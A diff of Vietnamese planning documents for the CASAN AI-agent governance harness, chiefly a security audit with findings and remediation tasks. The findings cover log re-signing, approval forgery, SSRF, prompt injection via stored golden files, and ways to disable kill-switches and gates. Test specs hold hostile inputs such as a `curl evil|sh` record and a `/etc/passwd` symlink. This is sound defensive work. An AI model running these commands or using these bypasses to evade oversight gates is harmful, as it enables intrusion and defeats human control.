| 15.7 | Giải trình 1 output: truy REQ→code→test (Plan-10) + prompt/model/token (H5) | traceability + audit | 1 artifact → truy vết đầy đủ | giải trình được |
|
||||
| 15.8 | View RAI/data trên Control Plane (Plan-13) | Plan-13 UI | hiển thị classification/model-card/RAI | quan sát |
|
||||
|
||||
## 4. Red-team / test
|
||||
| Test | Kỳ vọng |
|
||||
|---|---|
|
||||
| `adv-pii-to-cloud-unapproved` (PII lên cloud chưa duyệt) | BLOCK |
|
||||
| `adv-model-without-card` (dùng model không có card trong prod) | BLOCK/approval |
|
||||
| `adv-retention-bypass` (giữ dữ liệu quá hạn không xoá) | phát hiện + cảnh báo |
|
||||
| `adv-unexplainable-output` (output không truy được về REQ/prompt) | RAI report đánh dấu thiếu |
|
||||
| `benign-rai-report` (run hợp lệ) | PASS + RAI report đầy đủ |
|
||||
|
||||
## 5. Tiêu chí HOÀN THÀNH
|
||||
- [ ] Dữ liệu được phân loại; PII/confidential có kiểm soát cloud + retention có audit.
|
||||
- [ ] Mỗi model có model card + digest pinned; model không card bị chặn trong prod.
|
||||
- [ ] RAI report xuất qua Evidence Pack; 1 output bất kỳ giải trình được đầy đủ.
|
||||
- [ ] View RAI/data trên Control Plane.
|
||||
- [ ] Red-team mục 4 xanh; core harness 218/0 không tụt.
|
||||
|
||||
## 6. Ghi chú trung thực
|
||||
- **[mới]** — hiện chỉ có kiểm soát điểm (C3 mask PII), chưa có khung data governance / RAI.
|
||||
- Đây là mảng bắt buộc cho bar tổ chức "rất cao" (FPT §14.3–14.4), không phải tính năng phụ.
|
||||
|
||||
---
|
||||
_Liên quan: `FPT_CASAN_Full.md` §14.3–14.4 · `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (C3 data-exfil, B4 digest, C4 approval) · `CASAN_PLAN_09_EVIDENCE_PACK.md` (xuất RAI report) · `CASAN_PLAN_10_TRACEABILITY_EVAL.md` (giải trình) · `CASAN_PLAN_13_CONTROL_PLANE.md` (view)._
|
||||
@@ -0,0 +1,180 @@
|
||||
# KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py)
|
||||
|
||||
> Status 2026-07-06: **📋 audit xong — remediation chưa thực thi.** Đây là kết quả
|
||||
> audit đối kháng toàn bộ script core harness (`.specify/scripts/bash`, helpers) +
|
||||
> **kế hoạch vá cho AI/người kế tiếp thực thi**. Mỗi task có: lỗi → cách vá → cách
|
||||
> verify (test fail-able). Bất biến: giữ **280/0** core harness; verify trong **WSL**
|
||||
> (msys + Python Windows lệch path).
|
||||
>
|
||||
> Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent
|
||||
> audit ~30 file còn lại). Nhãn trạng thái: xem `CASAN_BACKLOG_STATUS.md`.
|
||||
|
||||
## 0. Root cause hệ thống (ưu tiên cao nhất)
|
||||
|
||||
Toàn bộ lớp **tamper-evidence** (audit chain, tool-call chain, telemetry integrity,
|
||||
evidence pack, worm ledger, control-plane audit) dựa trên:
|
||||
1. **Khoá ký local tự sinh, đặt CẠNH dữ liệu** nó bảo vệ (pubkey tái tạo mỗi lần chạy) →
|
||||
ai ghi được log thì ký lại được.
|
||||
2. **Hash chain SHA-256 không khoá (unkeyed)** → tính lại toàn bộ được.
|
||||
3. **Verifier coi "thiếu chữ ký = `anchor=unsigned` = VALID (exit 0)"** → xoá chữ ký là
|
||||
qua verify.
|
||||
|
||||
→ Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) **sửa log +
|
||||
tính lại chain + xoá chữ ký** ⇒ vượt mọi verify. Cộng với **JSON-injection qua
|
||||
`printf`** và **`bash -c` trên lệnh lưu trong log chưa ký (RCE)**, các đảm bảo toàn
|
||||
vẹn hiện **bị vô hiệu bởi chính actor local**.
|
||||
|
||||
**Điều kiện thoát:** neo chữ ký vào **KMS/HSM ngoài** (Vault Transit đã có
|
||||
`vault-kms.sh`) + **"unsigned" = FAIL** ở mọi enforced mode.
|
||||
|
||||
---
|
||||
|
||||
## 1. Bảng findings (hợp nhất pass-1 + pass-2)
|
||||
|
||||
### 🔴 High
|
||||
| ID | File | Attack case | Fix |
|
||||
|---|---|---|---|
|
||||
| H-01 | verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh | Thiếu `*.sig`/pubkey ⇒ `anchor=unsigned` exit 0. Sửa log → tính lại chain → xoá sig → PASS | Enforced mode: thiếu chữ ký ⇒ exit≠0; `anchor=unsigned` = FAIL |
|
||||
| H-02 | tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh | Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại | KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod |
|
||||
| H-03 | rollback-manager.sh | `execute` chạy `bash -c "$rollback_command"` đọc từ log **chưa ký** → **RCE** | Lưu restore action dạng **argv có cấu trúc**, không `bash -c`; ký + verify tx log |
|
||||
| H-04 | governance-check.sh | `CASAN_APPROVER`/`CASAN_ACTOR`/`ACTION_NAME` nội suy raw qua `printf` vào JSON → `"`+newline **chèn bản ghi audit giả** (approval giả) | Xuất JSON qua `python json.dumps`/`jq`; escape/validate field |
|
||||
| H-05 | action-gate.sh | Không check RC của Python; output rỗng/crash rơi vào `*) ALLOW` → **fail-open** | Bắt RC; mặc định **DENY** khi không phải ALLOW tường minh |
|
||||
| H-06 | control-plane-settings.py · governance-report.py *(tự viết)* | Audit hash-chain **không ký** → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả | Ký head qua `sign-audit-head.sh`/KMS; governance-report yêu cầu chữ ký hợp lệ |
|
||||
|
||||
### 🟠 Medium
|
||||
| ID | File | Attack case | Fix |
|
||||
|---|---|---|---|
|
||||
| M-01 | worm-ledger.py | Chain unsigned recomputable; `json.loads` không guard → malformed line crash | Neo KMS/Object-Lock; try/except fail-closed |
|
||||
| M-02 | casan-harness.sh | Tool-output injection scan mặc định **warn**; kill-switch enforce **opt-in** → stop khẩn = no-op mặc định | Mặc định **block** ở non-dev; kill-switch enforce mặc định on |
|
||||
| M-03 | model-digest-check.sh | `current_digest()` ưu tiên env `CASAN_MODEL_DIGEST` → tráo model + set env = qua; `pin` không ký | Bỏ env override ở enforced mode; ký pin file |
|
||||
| M-04 | kill-switch.sh | `clear` **không cần authz**; state là file `rm` được | Yêu cầu approval ký để clear; state ở store được bảo vệ |
|
||||
| M-05 | tool-registry-gate.sh · agent-metrics.sh | Authz theo env `CASAN_AGENT` spoof được; agent-metrics nội suy raw vào JSON | Bind identity qua token verify; JSON qua serializer |
|
||||
| M-06 | pii-mask.py | Thiếu rules file / rule regex hỏng → **emit nội dung KHÔNG mask** (fail-open) | Fail-closed: từ chối/emit rỗng khi rules lỗi |
|
||||
| M-07 | sandbox-run.sh | Chỉ chặn redirection `>`/`>>`; `tee /etc/x`, `cp .. /abs`, `dd of=` lọt | Cách ly filesystem thật (container/ns/ro-mount) |
|
||||
| M-08 | supply-chain-gate.sh · self-improve.py · control-plane-settings.py *(tự viết)* | Approval = bất kỳ chuỗi non-empty | Verify assertion ký (nối `approval-verify.sh` JWT) |
|
||||
| M-09 | provider-usage-fetch.sh | `API_URL` arg fetch bằng `curl -f` không validate scheme/host → **SSRF** (internal/`file://`) | Allowlist scheme/host; chặn internal/link-local |
|
||||
| M-10 | security-check.sh · drift-detect.sh · context-compress.py *(tự viết)* | Không cap input size → **DoS**; drift `SequenceMatcher` O(n²); non-UTF8/thiếu file → **crash** thay vì fail-closed | Cap size (vd 2MB); `errors="replace"` + try/except → verdict block |
|
||||
| M-11 | evidence-pack-build.py | Certify tin RC verifier do env truyền (`CASAN_EP_*`) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) | Chạy verifier bên trong build hoặc yêu cầu output verifier có ký |
|
||||
|
||||
### 🟡 Low (rút gọn)
|
||||
drift-detect **coarse** (chỉ char-similarity → **lật phủ định lọt**, không must-keep) · rai-guard classify bypass bằng obfuscation (`a[at]b`) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng `http://` · dashboard-server no-auth + bind `0.0.0.0` env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed `\|` injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend.
|
||||
|
||||
---
|
||||
|
||||
## 2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able)
|
||||
|
||||
> Nguyên tắc: mỗi fix phải kèm **test đối kháng fail-able** trong `.specify/tests/`,
|
||||
> nối `ci-harness-gate.sh`, giữ 280/0. Verify trong WSL.
|
||||
|
||||
### P0 — chặn đứng "gãy" & bypass toàn vẹn
|
||||
| Task | Nội dung | Verify (test mới/mở rộng) |
|
||||
|---|---|---|
|
||||
| SEC-01 | **"unsigned = FAIL" ở enforced mode** cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm `CASAN_VERIFY_STRICT=1`) | Xoá `*.sig` → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL |
|
||||
| SEC-02 | **KMS-anchor** cho mọi head (audit/tool/telemetry/evidence/control-plane) qua `vault-kms.sh`; bỏ auto-gen key local ở enforced mode | Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL |
|
||||
| SEC-03 | **rollback-manager**: bỏ `bash -c`, dùng argv có cấu trúc + verify tx log đã ký | Append record `curl evil|sh` → `execute` REFUSE |
|
||||
| SEC-04 | **action-gate fail-closed**: bắt RC Python, mặc định DENY | Ép classifier crash → gate DENY (fail-able) |
|
||||
| SEC-05 | **JSON-safe writers**: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer | Field `"`+newline → không có bản ghi giả thứ 2 |
|
||||
| SEC-06 | **control-plane/governance-report ký head** (H-06) | Tamper store + recompute → governance-report NOT_CERTIFIED |
|
||||
|
||||
### P1 — authz, fail-open, DoS
|
||||
| Task | Nội dung | Verify |
|
||||
|---|---|---|
|
||||
| SEC-07 | **Approval thật**: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua `approval-verify.sh` | `--approval x` (chuỗi bừa) → DENY; JWT hợp lệ → cho |
|
||||
| SEC-08 | **pii-mask fail-closed** khi rules lỗi/regex hỏng | Thiếu rules → refuse (không emit unmasked) |
|
||||
| SEC-09 | **Cap input size + fail-closed đọc** (security-check/drift-detect/context-compress) | Input > cap → block verdict; non-UTF8 → block, không traceback |
|
||||
| SEC-10 | **Identity không spoof**: tool-registry-gate/agent-metrics bind token thay `CASAN_AGENT` env | Spoof env → không lên quyền |
|
||||
| SEC-11 | **Enforce mặc định**: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile | Engaged kill-switch → harness refuse mặc định |
|
||||
|
||||
### P2 — chiều sâu & làm cứng
|
||||
| Task | Nội dung | Verify |
|
||||
|---|---|---|
|
||||
| SEC-12 | **drift-detect nâng cấp**: must-keep invariants + cảnh báo lật phủ định + fail-closed | Golden↔candidate lật "không" → drift FAIL dù similarity cao |
|
||||
| SEC-13 | **SSRF allowlist**: provider-usage-fetch / approval-verify JWKS / dashboard bind | URL internal/`file://` → reject |
|
||||
| SEC-14 | **sandbox thật** (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override | `tee /etc/x` bị chặn; tráo model + env → digest FAIL |
|
||||
| SEC-15 | Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed | Mỗi mục 1 test nhỏ |
|
||||
|
||||
---
|
||||
|
||||
## 2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn)
|
||||
|
||||
> Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS".
|
||||
> Kế hoạch, chưa fix.
|
||||
|
||||
| ID | Điểm yếu | Attack case | Fix (kế hoạch) |
|
||||
|---|---|---|---|
|
||||
| ARCH-01 | **Gate & policy không được bảo vệ toàn vẹn** | Kẻ ghi được workspace **sửa thẳng `security-check.sh` / `prompt-filter.yaml` / `thresholds.yaml` / `model-digest.pin` / `reviewers.registry`** → bypass tuyệt đối (sửa gate/policy chứ không sửa input). | Ký + verify **bundle harness+policy** bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). |
|
||||
| ARCH-02 | **Test tự tham chiếu** | Test nằm cùng repo attacker sửa được → **xoá case đối kháng / hạ số check** mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. | Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. |
|
||||
| ARCH-03 | **Vi phạm secure-by-default** | Hầu hết control mạnh là **opt-in env**: `CASAN_SECURITY_STRICT`, `CASAN_PREFLIGHT`, `CASAN_KILLSWITCH_ENFORCE`, `CASAN_VERIFY_STRICT`, digest mode. Không set = **tắt**. Operator lười / attacker chỉ cần không bật. | `CASAN_PROFILE=prod` bật **tất cả** enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). |
|
||||
| ARCH-04 | **Tin PATH / binary** | `python`/`grep`/`sha256sum`/`openssl`/`uuidgen` lấy từ PATH; **shadow binary** trên PATH (vd `grep` giả luôn trả no-match) → điều khiển verdict gate. | Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. |
|
||||
| ARCH-05 | **TOCTOU / không atomic, không lock** | `control-plane-settings` (load→modify→save) và audit append **không khoá/không atomic** → 2 run song song **mất write / vỡ hash-chain**; kill-switch check→act là race. | `flock` + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. |
|
||||
| ARCH-06 | **Tin đồng hồ hệ thống** | JWT `exp` / approval dựa system clock; **skew/chỉnh clock** trên host → chấp nhận approval hết hạn. | Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. |
|
||||
| ARCH-07 | **DoS khuếch đại qua model** | Semantic classify timeout **180s**/call × nhiều step; model bị làm treo → pipeline đứng lâu. | Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. |
|
||||
| ARCH-08 | **Telemetry poisoning → self-improve** | Log-injection (H-04/M-05) làm hỏng metrics → `self-improve propose` sinh đề xuất theo dữ liệu giả (dù apply cần approval). | Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. |
|
||||
| ARCH-09 | **No-op âm thầm theo nền tảng = fail-open** | Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate **no-op âm thầm**. | `check-prerequisites` fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. |
|
||||
| ARCH-10 | **Tin tuần hoàn của evidence** | Evidence/governance-report chứng minh **nội bộ nhất quán**, không chứng minh run **trung thực** (inputs tự khai). | Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. |
|
||||
|
||||
### Remediation bổ sung (P0/P1 — plan)
|
||||
| Task | Map | Verify |
|
||||
|---|---|---|
|
||||
| SEC-16 | ARCH-01 ký+verify harness/policy bundle (KMS) | Sửa 1 byte `security-check.sh`/`prompt-filter.yaml` → harness refuse |
|
||||
| SEC-17 | ARCH-03 `CASAN_PROFILE=prod` enforce-by-default toàn bộ | prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce |
|
||||
| SEC-18 | ARCH-02 test-integrity manifest ký + CI check count/hash | Xoá 1 fail-able check → CI FAIL "test coverage dropped" |
|
||||
| SEC-19 | ARCH-05 flock + atomic write cho store/audit | 2 `set` song song → không mất write, chain còn verify |
|
||||
| SEC-20 | ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) | Shadow `grep` giả / thiếu tool → refuse, không no-op |
|
||||
| SEC-21 | ARCH-07 giảm timeout + global run budget | Model treo → hủy sớm, không đứng pipeline |
|
||||
| SEC-22 | ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) | trusted-time cho exp; proposal nguồn-không-tin gắn nhãn |
|
||||
|
||||
## 2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order)
|
||||
|
||||
> Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix.
|
||||
|
||||
### Multi-tenant trust model
|
||||
| ID | Điểm yếu | Attack case | Fix (plan) |
|
||||
|---|---|---|---|
|
||||
| MT-01 | State là **file chung không phân vùng** (audit/control-plane store/telemetry/kill-switch/logs global) | Script dự án A **đọc/sửa thẳng file** của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) | Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API |
|
||||
| MT-02 | Không mã hoá per-tenant | Admin/tenant A xem audit/telemetry của B | Mã hoá at-rest per-tenant; khoá theo tenant qua KMS |
|
||||
| MT-03 | Kill-switch/cost/quota **global** | 1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) | Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên |
|
||||
| MT-04 | `project-registry.json` **chưa ký** | Tenant giả đăng ký/tráo project khác | Ký registry; verify khi load |
|
||||
|
||||
### Supply-chain của chính harness
|
||||
| ID | Điểm yếu | Attack case | Fix (plan) |
|
||||
|---|---|---|---|
|
||||
| SC-01 | File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) | Sửa policy = tắt control mà không đụng code | Ký + verify policy bundle (gộp ARCH-01) |
|
||||
| SC-02 | Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) | Shadow binary điều khiển verdict (gộp ARCH-04) | Pin path + verify provenance |
|
||||
| SC-03 | Model dependency: digest env-override, không SBOM/provenance | Tráo model + set `CASAN_MODEL_DIGEST` (gộp M-03) | Bỏ env-override; model card + provenance (Plan-15) |
|
||||
| SC-04 | npm/pip deps (backend + control-plane) + prisma engine tải mạng | Dep độc trong lớp governance → RCE | Lockfile + `npm audit`/SCA trong CI; pin engine |
|
||||
| SC-05 | CI runner + `.gitea/workflows` editable trong repo | Sửa workflow → "green" giả; runner image không pin | Ký workflow/pipeline; pin runner image; tách quyền |
|
||||
| SC-06 | Base image Docker (backend/frontend/sandbox) không pin/scan | Base image độc | Pin digest + scan image |
|
||||
| SC-07 | Không ký commit / không provenance | Không chứng minh AI được ai sửa gate | Signed commits + attestation (SLSA-style) |
|
||||
|
||||
### Second-order & lớp khác
|
||||
| ID | Điểm yếu | Attack case | Fix (plan) |
|
||||
|---|---|---|---|
|
||||
| X-01 | **Stored/second-order injection** | Payload trong `golden-runs`/`redteam-corpus`/`traceability-map`/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp | Quét cả file "vàng"/data nạp vào prompt bằng H4 |
|
||||
| X-02 | **ANSI/terminal-escape injection** vào log/dashboard | Nội dung attacker viết lại terminal reviewer / giấu dòng audit | Strip/escape control chars khi ghi log & render |
|
||||
| X-03 | **ReDoS** trên `grep -E`/`re` | Input dựng riêng → backtracking mũ → DoS | Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm |
|
||||
| X-04 | **Symlink/path-traversal** trên tham số file | Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) | Resolve realpath + chặn ngoài workspace; `O_NOFOLLOW` |
|
||||
| X-05 | **Disk-fill DoS** | Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash | Rotation + quota + fail-closed khi không ghi được audit |
|
||||
| X-06 | **Approval replay** | JWT approval hợp lệ dùng lại trong cửa sổ `exp` | Nonce một-lần + jti blacklist |
|
||||
| X-07 | **Deploy provenance** | Gate xanh ở CI nhưng artifact deploy ≠ bản test | Ký artifact liên kết tested==deployed |
|
||||
|
||||
### Remediation bổ sung (plan)
|
||||
| Task | Map | Verify |
|
||||
|---|---|---|
|
||||
| SEC-23 | MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry | Run tenant A không đọc/sửa được state B; registry giả → reject |
|
||||
| SEC-24 | SC-04/05/06 SCA + pin runner/base image + ký workflow | Dep độc/workflow sửa → CI FAIL |
|
||||
| SEC-25 | SC-07 signed commits + attestation | Commit không ký gate → CI cảnh báo/chặn |
|
||||
| SEC-26 | X-01 quét golden/corpus/map bằng H4 khi nạp prompt | Payload trong golden → BLOCK |
|
||||
| SEC-27 | X-02 strip control-char khi ghi/hiển thị log | ANSI escape trong input → log sạch |
|
||||
| SEC-28 | X-04 realpath + chặn symlink ngoài workspace | Symlink `/etc/passwd` làm input → reject |
|
||||
| SEC-29 | X-05 log rotation/quota + fail-closed khi audit không ghi được | Đĩa đầy → refuse, không fail-open |
|
||||
| SEC-30 | X-06 nonce/jti cho approval; X-07 ký artifact | Replay JWT → DENY; artifact ≠ test → block deploy |
|
||||
|
||||
## 3. Ghi chú thực thi cho AI kế tiếp
|
||||
- **Môi trường verify:** WSL Ubuntu (`wsl.exe -e bash -lc 'cd /mnt/d/... && ...'`); Node bằng Windows Node + `NODE_OPTIONS=--use-system-ca`.
|
||||
- **Bất biến:** không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass.
|
||||
- **Thứ tự đề xuất:** **ARCH-01/02/03 (SEC-16/17/18) là P0-class** — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài).
|
||||
- **Phạm vi chưa soi (pass sau):** create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean).
|
||||
|
||||
---
|
||||
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H4/H5/H6 + TIER 2 KMS/WORM) · `CASAN_HARDENING_STATUS.md` (control đã có) · `vault-kms.sh` (KMS anchor cho SEC-02)._
|
||||
@@ -37,7 +37,7 @@ Một mục ở đây chỉ tách ra plan khi: (a) plan phụ thuộc đã xong,
|
||||
- **Vì sao chưa tách:** là bậc nâng của 04, không phải plan độc lập.
|
||||
- **Tốt nghiệp khi:** 04 đề-xuất-cải-tiến chạy ổn, muốn tự sinh patch có kiểm soát.
|
||||
|
||||
## B6. CASAN Platform SLO & KPI Dashboard [một phần mở rộng — nối 18/business-kpi]
|
||||
## B6. CASAN Platform SLO & KPI Dashboard [một phần mở rộng — nối `business-kpi-report.sh` + Plan-09/04]
|
||||
- **Bản chất:** KPI cho chính CASAN: block_rate, false_positive_rate, false_negative_rate, token_saved, cost_per_run, time_to_approval, rollback_success, incident_count, model_reject_rate, reuse_count.
|
||||
- **Nối vào:** `business-kpi-report.sh` [có] + `generate-agentops-dashboard.py` [có] + Evidence Pack (Plan-09).
|
||||
- **Vì sao chưa tách:** KPI/run trình bày được ngay; KPI **platform đa dự án** cần chạy thật đã (sau 06/12).
|
||||
|
||||
@@ -18,7 +18,7 @@ Không — vì chúng tôi **cố ý không mở hết**. Chỉ 3 plan mới đ
|
||||
Vì (a) rủi ro vỡ bản demo đang chạy; (b) một số plan **phụ thuộc nhau** (ví dụ Domain Pack cần restructure xong; Model benchmark cần nối model thật xong mới có số). Làm sai thứ tự = tốn công mà không có bằng chứng.
|
||||
|
||||
**A4. Roadmap này có làm mất tính trung thực khi trình bày không?**
|
||||
Không, nếu nói đúng nhãn: *"phần đã làm & đo là H4/H5/H6 + hardening; Evidence Pack và Traceability MVP đã có test; Domain Pack là bước kế tiếp đã có kế hoạch; state machine/governed memory là tầm nhìn dài hạn chưa xây."* Ranh giới rõ ràng = điểm cộng độ chín.
|
||||
Không, nếu nói đúng nhãn: *"phần đã làm & đo là H4/H5/H6 + hardening; Evidence Pack và Traceability MVP đã có test; Domain Pack là bước kế tiếp đã có kế hoạch; state machine/governed memory là tầm nhìn dài hạn chưa xây."* Ranh giới rõ ràng = điểm cộng độ chín.
|
||||
|
||||
**A5. Nếu chỉ được chọn 3 plan, chọn gì và vì sao?**
|
||||
**09 Evidence Pack · 10 Traceability · 12 Domain Pack.** Ba cái này nâng CASAN từ "harness bảo vệ AI" lên "**nền tảng AI-SDLC có bằng chứng, đo chất lượng, tái dùng đa domain**" — đúng 3 trục thi.
|
||||
@@ -82,6 +82,21 @@ Không, nếu nói đúng nhãn: *"phần đã làm & đo là H4/H5/H6 + hardeni
|
||||
- *Làm được:* khai báo `domain-pack.yaml` là xong, **không sửa gate**.
|
||||
- *Mức:* trung–cao, sau Plan-01.
|
||||
|
||||
**B-13. Vì sao cần Plan-13 Control Plane?**
|
||||
- *Không làm:* chỉ có dashboard **read-only**; mọi cấu hình (compression, threshold, kill-switch, model routing) sửa tay qua file, không UI, không audit thay đổi, không RBAC → không vận hành được ở tổ chức lớn.
|
||||
- *Làm được:* web app **React+NestJS** giám sát + **quản lý settings** với deny-by-default + approval + audit hash-chain + rollback; UI không bypass được gate. **[đo thật]** MVP: backend `npm test` 52/0/3-skip, frontend vitest 20/20.
|
||||
- *Mức:* cao (đòn bẩy vận hành enterprise); phụ thuộc 14 (RBAC) + 04 (approval).
|
||||
|
||||
**B-14. Vì sao cần Plan-14 RBAC & multi-tenant?**
|
||||
- *Không làm:* chỉ có approval-identity (07-C4), chưa có mô hình quyền → ai-thấy-gì/ai-đổi-gì không kiểm soát; đa dự án không cách ly.
|
||||
- *Làm được:* role×resource×action + tenant isolation, deny-by-default fail-closed, ánh xạ từ IdP; mọi quyết định RBAC vào audit.
|
||||
- *Mức:* cao cho bar tổ chức; nền quản lý an toàn của Plan-13.
|
||||
|
||||
**B-15. Vì sao cần Plan-15 Responsible AI & Data Governance?**
|
||||
- *Không làm:* thiếu phân loại dữ liệu, PII/retention, model card, RAI report → không đạt yêu cầu FPT §14.3–14.4 khi bị soi.
|
||||
- *Làm được:* classification + gate PII→cloud + model card (nối B4 digest) + RAI report qua Evidence Pack + giải trình REQ→code→test.
|
||||
- *Mức:* bắt buộc cho "bar rất cao"; bổ trợ 09/10/13.
|
||||
|
||||
---
|
||||
|
||||
## PHẦN C — Vì sao HOÃN (không bỏ) các mục backlog
|
||||
@@ -126,4 +141,4 @@ Bỏ **Plan-07 (hardening)** = hệ dễ bị khai thác thật khi lên product
|
||||
> *"H4/H5/H6 chứng minh chặn được và đo được. Các plan mới nâng CASAN từ 'harness bảo vệ AI' lên 'nền tảng AI-SDLC có bằng chứng, đo chất lượng, tái dùng đa domain' — làm theo thứ tự phụ thuộc, ưu tiên cái rẻ-mà-đúng-phương-châm trước, phần platform để backlog và nói rõ là chưa xây."*
|
||||
|
||||
---
|
||||
_Liên quan: `CASAN_PLAN_00_INDEX.md` · các plan 01–10, 12 · `CASAN_PLAN_FUTURE_PHASES.md` · `CASAN_TEAM_QA.md` (Q&A hệ thống) · `CASAN_TU_TUONG_QA.md` (triết lý)._
|
||||
_Liên quan: `CASAN_PLAN_00_INDEX.md` · các plan 01–10, 12–15 · `CASAN_PLAN_FUTURE_PHASES.md` · `CASAN_TEAM_QA.md` (Q&A hệ thống — bản canonical ở `casan-next-plans/`) · `CASAN_TU_TUONG_QA.md` (triết lý)._
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
# CASAN — Bộ Q&A cho Team (hiểu sâu hệ thống + before/after tối ưu)
|
||||
|
||||
> ✅ **Bản CANONICAL** của Q&A hệ thống (được cập nhật). Có một bản sao ngắn hơn/cũ hơn
|
||||
> ở `optimize-docs/CASAN_TEAM_QA.md` phục vụ ngữ cảnh trình bày — khi lệch, ưu tiên bản này.
|
||||
|
||||
> **Mục đích:** đảm bảo mọi thành viên hiểu sâu hệ thống, biết rõ **trước/sau tối ưu đổi gì và VÌ SAO**, trả lời được từ cơ bản đến nâng cao trước giám khảo/khách hàng.
|
||||
> **Nguyên tắc:** mọi con số gắn nhãn **[đo thật]** (đã chạy, thấy exit code) hoặc **[dự án tự báo / chưa đo]**. Đúng tinh thần CASAN: *"điểm = thứ chứng minh được, không bịa"*.
|
||||
> **Trọng tâm tối ưu lần này:** **H4 Security · H5 Governance · H6 AgentOps** (đều từng là GAP: 20 / 25 / 30).
|
||||
|
||||
Reference in New Issue
Block a user